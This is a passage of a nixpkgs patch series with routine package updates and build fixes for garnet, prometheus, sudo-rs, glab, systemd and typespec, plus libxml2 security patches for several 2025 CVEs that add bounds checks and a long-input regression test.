-  version = "1.0.75";
+  version = "1.0.78";
 
   src = fetchFromGitHub {
     owner = "microsoft";
     repo = "garnet";
     tag = "v${version}";
-    hash = "sha256-Kn5ZEBdYS4jIgd/D1RwwCEwsR49jEUa+HeXad7hPUlE=";
+    hash = "sha256-V/h0X4CZ9FOcUetyyvo9umYS+VqJbYehg3QS/yp4OBM=";
   };
 
   projectFile = "main/GarnetServer/GarnetServer.csproj";

From caab59780f935c336db80bb5dd1df1bdfd522a7f Mon Sep 17 00:00:00 2001
From: Franz Pletz <fpletz@fnordicwalking.de>
Date: Fri, 18 Jul 2025 22:51:42 +0200
Subject: [PATCH 2607/4511] prometheus: disable failing test on aarch64

(cherry picked from commit f83b14cd30748101e274b0f76315e237dac7ecac)
---
 pkgs/by-name/pr/prometheus/package.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/by-name/pr/prometheus/package.nix b/pkgs/by-name/pr/prometheus/package.nix
index 54613c96d616..0fd6b99e3a71 100644
--- a/pkgs/by-name/pr/prometheus/package.nix
+++ b/pkgs/by-name/pr/prometheus/package.nix
@@ -129,6 +129,10 @@ buildGoModule (finalAttrs: {
   # Test mock data uses 64 bit data without an explicit (u)int64
   doCheck = !(stdenv.hostPlatform.isDarwin || stdenv.hostPlatform.parsed.cpu.bits < 64);
 
+  checkFlags = lib.optionals stdenv.hostPlatform.isAarch64 [
+    "-skip=TestEvaluations/testdata/aggregators.test"
+  ];
+
   passthru.tests = { inherit (nixosTests) prometheus; };
 
   meta = with lib; {

From 695c8a2a3224dac681f7f54ad66aa25559573741 Mon Sep 17 00:00:00 2001
From: Franz Pletz <fpletz@fnordicwalking.de>
Date: Mon, 7 Jul 2025 20:06:31 +0200
Subject: [PATCH 2608/4511] sudo-rs: fix manpages install

(cherry picked from commit d8205dc4436194a22d00813391de853a6e324da6)
---
 pkgs/by-name/su/sudo-rs/package.nix | 19 ++++++-------------
 1 file changed, 6 insertions(+), 13 deletions(-)

diff --git a/pkgs/by-name/su/sudo-rs/package.nix b/pkgs/by-name/su/sudo-rs/package.nix
index 7e043d29fce0..0335c1e11804 100644
--- a/pkgs/by-name/su/sudo-rs/package.nix
+++ b/pkgs/by-name/su/sudo-rs/package.nix
@@ -1,12 +1,10 @@
 {
   lib,
-  bash,
   fetchFromGitHub,
   installShellFiles,
   nix-update-script,
   nixosTests,
   pam,
-  pandoc,
   rustPlatform,
   tzdata,
 }:
@@ -24,26 +22,21 @@ rustPlatform.buildRustPackage (finalAttrs: {
   useFetchCargoVendor = true;
   cargoHash = "sha256-o3//zJxB6CNHQl1DtfmFnSBP9npC4I9/hRuzpWrKoNs=";
 
-  nativeBuildInputs = [
-    installShellFiles
-    pandoc
-  ];
+  nativeBuildInputs = [ installShellFiles ];
 
   buildInputs = [ pam ];
 
-  # Don't attempt to generate the docs in a (pan)Docker container
   postPatch = ''
-    substituteInPlace util/generate-docs.sh \
-      --replace-fail "/usr/bin/env bash" ${lib.getExe bash} \
-      --replace-fail util/pandoc.sh pandoc
-
     substituteInPlace build.rs \
       --replace-fail "/usr/share/zoneinfo" "${tzdata}/share/zoneinfo"
   '';
 
   postInstall = ''
-    ./util/generate-docs.sh
-    installManPage target/docs/man/*
+    for man_fn in docs/man/*.man; do
+      man_fn_fixed="$(echo "$man_fn" | sed -e 's,\.man$,,')"
+      ln -vs $(basename "$man_fn") "$man_fn_fixed"
+      installManPage "$man_fn_fixed"
+    done
   '';
 
   checkFlags = map (t: "--skip=${t}") [

From 48f4ea43f243ae6da65277405fed586009351d90 Mon Sep 17 00:00:00 2001
From: Franz Pletz <fpletz@fnordicwalking.de>
Date: Mon, 7 Jul 2025 20:07:03 +0200
Subject: [PATCH 2609/4511] sudo-rs: add version and manpage check, update
 skips

(cherry picked from commit 039a503e7f65649a5f7290be64df9f273c35344b)
---
 pkgs/by-name/su/sudo-rs/package.nix | 17 +++++++++++++----
 1 file changed, 13 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/su/sudo-rs/package.nix b/pkgs/by-name/su/sudo-rs/package.nix
index 0335c1e11804..e4a141ea1c99 100644
--- a/pkgs/by-name/su/sudo-rs/package.nix
+++ b/pkgs/by-name/su/sudo-rs/package.nix
@@ -4,6 +4,7 @@
   installShellFiles,
   nix-update-script,
   nixosTests,
+  versionCheckHook,
   pam,
   rustPlatform,
   tzdata,
@@ -42,7 +43,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
   checkFlags = map (t: "--skip=${t}") [
     # Those tests make path assumptions
     "common::command::test::test_build_command_and_args"
-    "common::context::tests::test_build_context"
     "common::context::tests::test_build_run_context"
     "common::resolve::test::canonicalization"
     "common::resolve::tests::test_resolve_path"
@@ -59,14 +59,23 @@ rustPlatform.buildRustPackage (finalAttrs: {
     "system::interface::test::test_unix_user"
     "system::tests::test_get_user_and_group_by_id"
 
-    # This expects some PATH_TZINFO environment var
-    "env::environment::tests::test_tzinfo"
-
     # Unsure why those are failing
     "env::tests::test_environment_variable_filtering"
     "su::context::tests::invalid_shell"
   ];
 
+  nativeInstallCheckInputs = [ versionCheckHook ];
+
+  doInstallCheck = true;
+  # sudo binary fails because it checks if it is suid 0
+  versionCheckProgram = "${placeholder "out"}/bin/su";
+  versionCheckProgramArg = "--version";
+
+  postInstallCheck = ''
+    [ -e ${placeholder "out"}/share/man/man8/sudo.8.gz ] || \
+      ( echo "Error: Some manpages might be missing!"; exit 1 )
+  '';
+
   passthru = {
     updateScript = nix-update-script { };
     tests = nixosTests.sudo-rs;

From 4294643b75fcddcf31727f1b69ac8364bd47fad5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Thu, 17 Jul 2025 09:59:21 +0200
Subject: [PATCH 2610/4511] libxml2: add patch for CVE-2025-6021

(cherry picked from commit 348be18ac4b40caa531048d977df7d54b4ea9d14)
---
 .../libraries/libxml2/CVE-2025-6021.patch     | 40 +++++++++++++++++++
 .../development/libraries/libxml2/default.nix |  3 ++
 2 files changed, 43 insertions(+)
 create mode 100644 pkgs/development/libraries/libxml2/CVE-2025-6021.patch

diff --git a/pkgs/development/libraries/libxml2/CVE-2025-6021.patch b/pkgs/development/libraries/libxml2/CVE-2025-6021.patch
new file mode 100644
index 000000000000..d13d80fb7522
--- /dev/null
+++ b/pkgs/development/libraries/libxml2/CVE-2025-6021.patch
@@ -0,0 +1,40 @@
+diff --git a/tree.c b/tree.c
+index f097cf87..4d966ec9 100644
+--- a/tree.c
++++ b/tree.c
+@@ -47,6 +47,10 @@
+ #include "private/error.h"
+ #include "private/tree.h"
+
++#ifndef SIZE_MAX
++  #define SIZE_MAX ((size_t) -1)
++#endif
++
+ int __xmlRegisterCallbacks = 0;
+
+ /************************************************************************
+@@ -167,10 +168,10 @@ xmlGetParameterEntityFromDtd(const xmlDtd *dtd, const xmlChar *name) {
+ xmlChar *
+ xmlBuildQName(const xmlChar *ncname, const xmlChar *prefix,
+ 	      xmlChar *memory, int len) {
+-    int lenn, lenp;
++    size_t lenn, lenp;
+     xmlChar *ret;
+
+-    if (ncname == NULL) return(NULL);
++    if ((ncname == NULL) || (len < 0)) return(NULL);
+     if (prefix == NULL) return((xmlChar *) ncname);
+
+ #ifdef FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION
+@@ -181,8 +182,10 @@ xmlBuildQName(const xmlChar *ncname, const xmlChar *prefix,
+
+     lenn = strlen((char *) ncname);
+     lenp = strlen((char *) prefix);
++    if (lenn >= SIZE_MAX - lenp - 1)
++        return(NULL);
+
+-    if ((memory == NULL) || (len < lenn + lenp + 2)) {
++    if ((memory == NULL) || ((size_t) len < lenn + lenp + 2)) {
+ 	ret = (xmlChar *) xmlMallocAtomic(lenn + lenp + 2);
+ 	if (ret == NULL)
+ 	    return(NULL);
diff --git a/pkgs/development/libraries/libxml2/default.nix b/pkgs/development/libraries/libxml2/default.nix
index 9c93590323c7..b10a500ba45c 100644
--- a/pkgs/development/libraries/libxml2/default.nix
+++ b/pkgs/development/libraries/libxml2/default.nix
@@ -58,6 +58,9 @@ stdenv.mkDerivation (finalAttrs: {
     # See also https://gitlab.gnome.org/GNOME/libxml2/-/issues/906
     # Source: https://github.com/chromium/chromium/blob/4fb4ae8ce3daa399c3d8ca67f2dfb9deffcc7007/third_party/libxml/chromium/xml-attr-extra.patch
     ./xml-attr-extra.patch
+    # same as upstream patch but fixed conflict and added required import:
+    # https://gitlab.gnome.org/GNOME/libxml2/-/commit/acbbeef9f5dcdcc901c5f3fa14d583ef8cfd22f0.diff
+    ./CVE-2025-6021.patch
   ];
 
   strictDeps = true;

From acbf60a2bcac9bda1c3d04dedf100f455972a2d7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Thu, 17 Jul 2025 00:38:14 +0200
Subject: [PATCH 2611/4511] libxml2: add patch for CVE-2025-49794 and
 CVE-2025-49796

(cherry picked from commit 5b7873647225dbb427157933eb8e04485fb5144c)
---
 pkgs/development/libraries/libxml2/default.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/development/libraries/libxml2/default.nix b/pkgs/development/libraries/libxml2/default.nix
index b10a500ba45c..d437e02aaceb 100644
--- a/pkgs/development/libraries/libxml2/default.nix
+++ b/pkgs/development/libraries/libxml2/default.nix
@@ -2,6 +2,7 @@
   stdenv,
   lib,
   fetchurl,
+  fetchpatch2,
   pkg-config,
   autoreconfHook,
   libintl,
@@ -61,6 +62,11 @@ stdenv.mkDerivation (finalAttrs: {
     # same as upstream patch but fixed conflict and added required import:
     # https://gitlab.gnome.org/GNOME/libxml2/-/commit/acbbeef9f5dcdcc901c5f3fa14d583ef8cfd22f0.diff
     ./CVE-2025-6021.patch
+    (fetchpatch2 {
+      name = "CVE-2025-49794-49796.patch";
+      url = "https://gitlab.gnome.org/GNOME/libxml2/-/commit/f7ebc65f05bffded58d1e1b2138eb124c2e44f21.patch";
+      hash = "sha256-k+IGq6pbv9EA7o+uDocEAUqIammEjLj27Z+2RF5EMrs=";
+    })
   ];
 
   strictDeps = true;

From d0082400bed98daf1a1e9aea6cf1243680271c65 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Thu, 17 Jul 2025 00:40:46 +0200
Subject: [PATCH 2612/4511] libxml2: add patch for CVE-2025-49795

(cherry picked from commit 5d3c18107abdac1354a12ec09a8e862c9c631553)
---
 pkgs/development/libraries/libxml2/default.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/development/libraries/libxml2/default.nix b/pkgs/development/libraries/libxml2/default.nix
index d437e02aaceb..531791f579d0 100644
--- a/pkgs/development/libraries/libxml2/default.nix
+++ b/pkgs/development/libraries/libxml2/default.nix
@@ -67,6 +67,12 @@ stdenv.mkDerivation (finalAttrs: {
       url = "https://gitlab.gnome.org/GNOME/libxml2/-/commit/f7ebc65f05bffded58d1e1b2138eb124c2e44f21.patch";
       hash = "sha256-k+IGq6pbv9EA7o+uDocEAUqIammEjLj27Z+2RF5EMrs=";
     })
+    (fetchpatch2 {
+      name = "CVE-2025-49795.patch";
+      url = "https://gitlab.gnome.org/GNOME/libxml2/-/commit/c24909ba2601848825b49a60f988222da3019667.patch";
+      hash = "sha256-r7PYKr5cDDNNMtM3ogNLsucPFTwP/uoC7McijyLl4kU=";
+      excludes = [ "runtest.c" ]; # tests were rewritten in C and are on schematron for 2.13.x, meaning this does not apply
+    })
   ];
 
   strictDeps = true;

From 47bb459c41f79ca4907fdc7470328f7abff6b442 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Thu, 17 Jul 2025 09:41:47 +0200
Subject: [PATCH 2613/4511] libxml2: add patch for CVE-2025-6170

(cherry picked from commit 2da008e2ee4eda08380f6341db237ec6fef950ad)
---
 .../libraries/libxml2/CVE-2025-6170.patch     | 112 ++++++++++++++++++
 .../development/libraries/libxml2/default.nix |   3 +
 2 files changed, 115 insertions(+)
 create mode 100644 pkgs/development/libraries/libxml2/CVE-2025-6170.patch

diff --git a/pkgs/development/libraries/libxml2/CVE-2025-6170.patch b/pkgs/development/libraries/libxml2/CVE-2025-6170.patch
new file mode 100644
index 000000000000..b66f24e305e0
--- /dev/null
+++ b/pkgs/development/libraries/libxml2/CVE-2025-6170.patch
@@ -0,0 +1,112 @@
+diff --git a/result/scripts/long_command b/result/scripts/long_command
+new file mode 100644
+index 000000000..e6f00708b
+--- /dev/null
++++ b/result/scripts/long_command
+@@ -0,0 +1,8 @@
++/ > b > b > Object is a Node Set :
++Set contains 1 nodes:
++1  ELEMENT a:c
++b > Unknown command This_is_a_really_long_command_string_designed_to_test_the_limits_of_the_memory_that_stores_the_comm
++b > b > Unknown command ess_currents_of_time_and_existence
++b > <?xml version="1.0"?>
++<a xmlns:a="bar"><b xmlns:a="foo">Navigating_the_labyrinthine_corridors_of_human_cognition_one_often_encounters_the_perplexing_paradox_that_the_more_we_delve_into_the_intricate_dance_of_neural_pathways_and_synaptic_firings_the_further_we_seem_to_stray_from_a_truly_holistic_understanding_of_consciousness_a_phenomenon_that_remains_as_elusive_as_a_moonbeam_caught_in_a_spiderweb_yet_undeniably_shapes_every_fleeting_thought_every_prof</b></a>
++b > 
+\ No newline at end of file
+diff --git a/debugXML.c b/debugXML.c
+index ed56b0f8..aeeea3c0 100644
+--- a/debugXML.c
++++ b/debugXML.c
+@@ -2780,6 +2780,10 @@ xmlShellPwd(xmlShellCtxtPtr ctxt ATTRIBUTE_UNUSED, char *buffer,
+     return (0);
+ }
+ 
++#define MAX_PROMPT_SIZE     500
++#define MAX_ARG_SIZE        400
++#define MAX_COMMAND_SIZE    100
++
+ /**
+  * xmlShell:
+  * @doc:  the initial document
+@@ -2795,10 +2795,10 @@ void
+ xmlShell(xmlDocPtr doc, const char *filename, xmlShellReadlineFunc input,
+          FILE * output)
+ {
+-    char prompt[500] = "/ > ";
++    char prompt[MAX_PROMPT_SIZE] = "/ > ";
+     char *cmdline = NULL, *cur;
+-    char command[100];
+-    char arg[400];
++    char command[MAX_COMMAND_SIZE];
++    char arg[MAX_ARG_SIZE];
+     int i;
+     xmlShellCtxtPtr ctxt;
+     xmlXPathObjectPtr list;
+@@ -2856,7 +2856,8 @@ xmlShell(xmlDocPtr doc, const char *filename, xmlShellReadlineFunc input,
+             cur++;
+         i = 0;
+         while ((*cur != ' ') && (*cur != '\t') &&
+-               (*cur != '\n') && (*cur != '\r')) {
++               (*cur != '\n') && (*cur != '\r') &&
++               (i < (MAX_COMMAND_SIZE - 1))) {
+             if (*cur == 0)
+                 break;
+             command[i++] = *cur++;
+@@ -2871,7 +2872,7 @@ xmlShell(xmlDocPtr doc, const char *filename, xmlShellReadlineFunc input,
+         while ((*cur == ' ') || (*cur == '\t'))
+             cur++;
+         i = 0;
+-        while ((*cur != '\n') && (*cur != '\r') && (*cur != 0)) {
++        while ((*cur != '\n') && (*cur != '\r') && (*cur != 0) && (i < (MAX_ARG_SIZE-1))) {
+             if (*cur == 0)
+                 break;
+             arg[i++] = *cur++;
+diff --git a/xmllint.c b/xmllint.c
+index c6273477..3d90272c 100644
+--- a/xmllint.c
++++ b/xmllint.c
+@@ -724,6 +724,9 @@ xmlHTMLValidityWarning(void *ctx, const char *msg, ...)
+  ************************************************************************/
+ #ifdef LIBXML_DEBUG_ENABLED
+ #ifdef LIBXML_XPATH_ENABLED
++
++#define MAX_PROMPT_SIZE     500
++
+ /**
+  * xmlShellReadline:
+  * @prompt:  the prompt value
+@@ -754,9 +754,9 @@ xmlShellReadline(char *prompt) {
+     if (prompt != NULL)
+ 	fprintf(stdout, "%s", prompt);
+     fflush(stdout);
+-    if (!fgets(line_read, 500, stdin))
++    if (!fgets(line_read, MAX_PROMPT_SIZE, stdin))
+         return(NULL);
+-    line_read[500] = 0;
++    line_read[MAX_PROMPT_SIZE] = 0;
+     len = strlen(line_read);
+     ret = (char *) malloc(len + 1);
+     if (ret != NULL) {
+-- 
+diff --git a/test/scripts/long_command.script b/test/scripts/long_command.script
+new file mode 100644
+index 000000000..00f6df09f
+--- /dev/null
++++ b/test/scripts/long_command.script
+@@ -0,0 +1,6 @@
++cd a/b
++set <a:c/>
++xpath //*[namespace-uri()="foo"]
++This_is_a_really_long_command_string_designed_to_test_the_limits_of_the_memory_that_stores_the_command_please_dont_crash foo
++set Navigating_the_labyrinthine_corridors_of_human_cognition_one_often_encounters_the_perplexing_paradox_that_the_more_we_delve_into_the_intricate_dance_of_neural_pathways_and_synaptic_firings_the_further_we_seem_to_stray_from_a_truly_holistic_understanding_of_consciousness_a_phenomenon_that_remains_as_elusive_as_a_moonbeam_caught_in_a_spiderweb_yet_undeniably_shapes_every_fleeting_thought_every_profound_emotion_and_every_grand_aspiration_that_propels_our_species_ever_onward_through_the_relentless_currents_of_time_and_existence
++save -
+diff --git a/test/scripts/long_command.xml b/test/scripts/long_command.xml
+new file mode 100644
+index 000000000..1ba44016e
+--- /dev/null
++++ b/test/scripts/long_command.xml
+@@ -0,0 +1 @@
++<a xmlns:a="bar"><b xmlns:a="foo"/></a>
+-- 
+GitLab
+
diff --git a/pkgs/development/libraries/libxml2/default.nix b/pkgs/development/libraries/libxml2/default.nix
index 531791f579d0..a5bcfef0823b 100644
--- a/pkgs/development/libraries/libxml2/default.nix
+++ b/pkgs/development/libraries/libxml2/default.nix
@@ -73,6 +73,9 @@ stdenv.mkDerivation (finalAttrs: {
       hash = "sha256-r7PYKr5cDDNNMtM3ogNLsucPFTwP/uoC7McijyLl4kU=";
       excludes = [ "runtest.c" ]; # tests were rewritten in C and are on schematron for 2.13.x, meaning this does not apply
     })
+    # same as upstream, fixed conflicts
+    # https://gitlab.gnome.org/GNOME/libxml2/-/commit/c340e419505cf4bf1d9ed7019a87cc00ec200434
+    ./CVE-2025-6170.patch
   ];
 
   strictDeps = true;

From d9a3471adf11e477fb6cd263095ce740ab76a813 Mon Sep 17 00:00:00 2001
From: Pol Dellaiera <pol.dellaiera@protonmail.com>
Date: Fri, 18 Jul 2025 19:36:40 +0200
Subject: [PATCH 2614/4511] glab: show short commit id when doing `glab
 version`

(cherry picked from commit 5deeec2a14e776e6f26081eeba102657c3a87b74)
---
 pkgs/by-name/gl/glab/package.nix | 15 +++++++++++++--
 1 file changed, 13 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gl/glab/package.nix b/pkgs/by-name/gl/glab/package.nix
index 6f6b9c8b0390..a5c33ad7071b 100644
--- a/pkgs/by-name/gl/glab/package.nix
+++ b/pkgs/by-name/gl/glab/package.nix
@@ -16,7 +16,13 @@ buildGoModule (finalAttrs: {
     owner = "gitlab-org";
     repo = "cli";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-dFyVhl4+WdQeoSZSY8JbkjJBhqOX/oN2b9q1CGlLhpc=";
+    hash = "sha256-sLxb3BC2yvtbT11C9iWlGsIQ/7Lr34+q/BPIcDx4P+s=";
+    leaveDotGit = true;
+    postFetch = ''
+      cd "$out"
+      git rev-parse --short HEAD > $out/COMMIT
+      find "$out" -name .git -print0 | xargs -0 rm -rf
+    '';
   };
 
   vendorHash = "sha256-m4IWtK2PNjs2UxzVCT2oSx6Gic2flN4Fq8w0mNIhHxo=";
@@ -27,7 +33,10 @@ buildGoModule (finalAttrs: {
     "-X main.version=${finalAttrs.version}"
   ];
 
-  nativeCheckInputs = [ writableTmpDirAsHomeHook ];
+  preBuild = ''
+    ldflags+=" -X main.commit=$(cat COMMIT)"
+  '';
+
 
   subPackages = [ "cmd/glab" ];
 
@@ -42,6 +51,8 @@ buildGoModule (finalAttrs: {
       --zsh <($out/bin/glab completion -s zsh)
   '';
 
+  nativeCheckInputs = [ writableTmpDirAsHomeHook ];
+
   passthru.updateScript = nix-update-script { };
 
   meta = {

From 1bdf48300a937df3928e0fbb5421e01514581bfc Mon Sep 17 00:00:00 2001
From: Pol Dellaiera <pol.dellaiera@protonmail.com>
Date: Fri, 18 Jul 2025 22:24:03 +0200
Subject: [PATCH 2615/4511] glab: fix checkPhase, missing `git`

(cherry picked from commit bbe778f5d8fe9357446f9af1b896f232412c50ce)
---
 pkgs/by-name/gl/glab/package.nix | 13 ++++++++++---
 1 file changed, 10 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/gl/glab/package.nix b/pkgs/by-name/gl/glab/package.nix
index a5c33ad7071b..326b2c8d832d 100644
--- a/pkgs/by-name/gl/glab/package.nix
+++ b/pkgs/by-name/gl/glab/package.nix
@@ -6,6 +6,7 @@
   stdenv,
   nix-update-script,
   writableTmpDirAsHomeHook,
+  gitMinimal,
 }:
 
 buildGoModule (finalAttrs: {
@@ -37,11 +38,10 @@ buildGoModule (finalAttrs: {
     ldflags+=" -X main.commit=$(cat COMMIT)"
   '';
 
+  nativeBuildInputs = [ installShellFiles ];
 
   subPackages = [ "cmd/glab" ];
 
-  nativeBuildInputs = [ installShellFiles ];
-
   postInstall = lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
     make manpage
     installManPage share/man/man1/*
@@ -51,7 +51,14 @@ buildGoModule (finalAttrs: {
       --zsh <($out/bin/glab completion -s zsh)
   '';
 
-  nativeCheckInputs = [ writableTmpDirAsHomeHook ];
+  nativeCheckInputs = [
+    gitMinimal
+    writableTmpDirAsHomeHook
+  ];
+
+  preCheck = ''
+    git init
+  '';
 
   passthru.updateScript = nix-update-script { };
 

From fe05a30281696db68f12d7f3f500c98f3a4fe893 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Thu, 17 Jul 2025 13:22:11 +0200
Subject: [PATCH 2616/4511] systemd.disallowedReferences: avoid `null` values
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

hydra-queue-runner complains like this:
  loading build 302783324 (nixpkgs:cross-trunk:rpi-musl.mpg123.x86_64-linux)
  queue monitor: error:
         … while loading build 302783324:
         … while parsing derivation '/nix/store/8r46dmzzchv9jhb09y8dlih4h5k6smkm-systemd-minimal-armv6l-unknown-linux-musleabihf-257.6.drv'
         error: attribute 'disallowedReferences' must be a list of strings
  checking the queue for builds...
  loading build 302783295 (nixpkgs:cross-trunk:rpi-musl.mpg123.aarch64-darwin)

(cherry picked from commit 40df6d5813ed6ebb809a77416bbb1ddfbeedd846)
---
 pkgs/os-specific/linux/systemd/default.nix | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/pkgs/os-specific/linux/systemd/default.nix b/pkgs/os-specific/linux/systemd/default.nix
index 4a8a6610fe9f..2e0e9d6505cb 100644
--- a/pkgs/os-specific/linux/systemd/default.nix
+++ b/pkgs/os-specific/linux/systemd/default.nix
@@ -868,7 +868,11 @@ stdenv.mkDerivation (finalAttrs: {
   disallowedReferences =
     lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform)
       # 'or p' is for manually specified buildPackages as they dont have __spliced
-      (builtins.map (p: p.__spliced.buildHost or p) finalAttrs.nativeBuildInputs);
+      (
+        builtins.map (p: p.__spliced.buildHost or p) (
+          builtins.filter (p: p != null) finalAttrs.nativeBuildInputs
+        )
+      );
 
   passthru = {
     # The `interfaceVersion` attribute below points out the incompatibilities

From fb8214ca5b0394620b317efd36cd37ba1e26ebc7 Mon Sep 17 00:00:00 2001
From: Pau Kailfer <pau@kaifler.me>
Date: Thu, 27 Mar 2025 14:23:05 +0100
Subject: [PATCH 2617/4511] typespec: 0.64.0 -> 1.1.0

Also fixes #388160.

(cherry picked from commit 860a34a63d99eb9b7f7c3c50b37940a9e87e173d)
---
 pkgs/by-name/ty/typespec/package.nix | 36 ++++++++++++++++++----------
 1 file changed, 24 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/ty/typespec/package.nix b/pkgs/by-name/ty/typespec/package.nix
index 6ab5ac96ddd7..97adcd8bb595 100644
--- a/pkgs/by-name/ty/typespec/package.nix
+++ b/pkgs/by-name/ty/typespec/package.nix
@@ -5,42 +5,47 @@
   makeWrapper,
   nix-update-script,
   nodejs,
-  pnpm_9,
+  pnpm,
   testers,
 }:
 
 let
-  workspace = "compiler...";
+  workspace = "@typespec/compiler...";
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "typespec";
-  version = "0.64.0";
+  version = "1.1.0";
 
   src = fetchFromGitHub {
     owner = "microsoft";
     repo = "typespec";
-    tag = "typespec@${finalAttrs.version}";
-    hash = "sha256-zZTZdnmRTjhnoz/5JHnn4h/YlMpXF/I7o1mDeiRVPUA=";
+    tag = "typespec-stable@${finalAttrs.version}";
+    hash = "sha256-fUrBoDDv0UW5dqudD/bpzaT8SdIc5snI8Q/Fe5jWCvw=";
   };
 
   nativeBuildInputs = [
     makeWrapper
     nodejs
-    pnpm_9.configHook
+    pnpm.configHook
   ];
 
   pnpmWorkspaces = [ workspace ];
-  pnpmDeps = pnpm_9.fetchDeps {
+  pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs)
       pname
       version
       src
       pnpmWorkspaces
+      postPatch
       ;
-    hash = "sha256-W8m6ibiy9Okga0qWpZWDYklXAwpHwk85Q6UTaFJhDrU=";
+    hash = "sha256-9RQZ2ycu78W3Ie6MLpo6x7Sa/iYsUdq5bYed56mOPxs=";
   };
 
   postPatch = ''
+    # The `packageManager` attribute matches the version _exactly_, which makes
+    # the build fail if it doesn't match exactly.
+    substituteInPlace package.json \
+      --replace-fail '"packageManager": "pnpm@10.11.0"' '"packageManager": "pnpm"'
     # `fetchFromGitHub` doesn't clone via git and thus installing would otherwise fail.
     substituteInPlace packages/compiler/scripts/generate-manifest.js \
       --replace-fail 'execSync("git rev-parse HEAD").toString().trim()' '"${finalAttrs.src.rev}"'
@@ -54,12 +59,19 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     runHook postBuild
   '';
 
+  preInstall = ''
+    # Remove unnecessary files.
+    find -name node_modules -type d -exec rm -rf {} \; || true
+    pnpm config set hoist=false
+    pnpm install --offline --ignore-scripts --frozen-lockfile --filter="@typespec/compiler" --prod --no-optional
+  '';
+
   installPhase = ''
     runHook preInstall
 
-    mkdir -p "$out/bin" "$out/lib/typespec/packages/compiler"
+    mkdir -p "$out/bin" "$out/lib/typespec"
     cp -r --parents \
-      node_modules \
+      node_modules/ \
       package.json \
       packages/compiler/cmd \
       packages/compiler/dist \
@@ -83,7 +95,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   };
 
   passthru.updateScript = nix-update-script {
-    extraArgs = [ ''--version-regex=typespec@(\d+\.\d+\.\d+)'' ];
+    extraArgs = [ ''--version-regex=typespec-stable@(\d+\.\d+\.\d+)'' ];
   };
 
   meta = {
@@ -97,7 +109,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
       All this while keeping your TypeSpec definition as a single source of truth.
     '';
     homepage = "https://typespec.io/";
-    changelog = "https://github.com/microsoft/typespec/releases/tag/typespec@${finalAttrs.version}";
+    changelog = "https://github.com/microsoft/typespec/releases/tag/typespec-stable@${finalAttrs.version}";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [ paukaifler ];
     mainProgram = "tsp";

From 64078d6eb7b4b182fbadf317a8a5a1e07f17f453 Mon Sep 17 00:00:00 2001
From: Pol Dellaiera <pol.dellaiera@protonmail.com>
Date: Fri, 18 Jul 2025 22:48:17 +0200
Subject: [PATCH 2618/4511] glab: disable update check and telemetry by default

(cherry picked from commit bdb5a8b07ab35609df534ed7a3874b8e20e8d25e)
---
 pkgs/by-name/gl/glab/package.nix | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/gl/glab/package.nix b/pkgs/by-name/gl/glab/package.nix
index 326b2c8d832d..ce248f60772a 100644
--- a/pkgs/by-name/gl/glab/package.nix
+++ b/pkgs/by-name/gl/glab/package.nix
@@ -3,6 +3,7 @@
   buildGoModule,
   fetchFromGitLab,
   installShellFiles,
+  makeBinaryWrapper,
   stdenv,
   nix-update-script,
   writableTmpDirAsHomeHook,
@@ -38,7 +39,10 @@ buildGoModule (finalAttrs: {
     ldflags+=" -X main.commit=$(cat COMMIT)"
   '';
 
-  nativeBuildInputs = [ installShellFiles ];
+  nativeBuildInputs = [
+    installShellFiles
+    makeBinaryWrapper
+  ];
 
   subPackages = [ "cmd/glab" ];
 
@@ -49,6 +53,10 @@ buildGoModule (finalAttrs: {
       --bash <($out/bin/glab completion -s bash) \
       --fish <($out/bin/glab completion -s fish) \
       --zsh <($out/bin/glab completion -s zsh)
+
+    wrapProgram $out/bin/glab \
+      --set-default GLAB_CHECK_UPDATE 0 \
+      --set-default GLAB_SEND_TELEMETRY 0
   '';
 
   nativeCheckInputs = [

From bffaa29c23c7daccbbc9d0b6e7d7bccc2468f654 Mon Sep 17 00:00:00 2001
From: Pol Dellaiera <pol.dellaiera@protonmail.com>
Date: Fri, 18 Jul 2025 22:56:47 +0200
Subject: [PATCH 2619/4511] glab: 1.56.0 -> 1.62.0

Changelog: https://gitlab.com/gitlab-org/cli/-/releases/v1.62.0
(cherry picked from commit b3f6d66b504a62093086ef32a55d19f917e25a6c)
---
 pkgs/by-name/gl/glab/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/gl/glab/package.nix b/pkgs/by-name/gl/glab/package.nix
index ce248f60772a..7e5f95aaa0c4 100644
--- a/pkgs/by-name/gl/glab/package.nix
+++ b/pkgs/by-name/gl/glab/package.nix
@@ -12,13 +12,13 @@
 
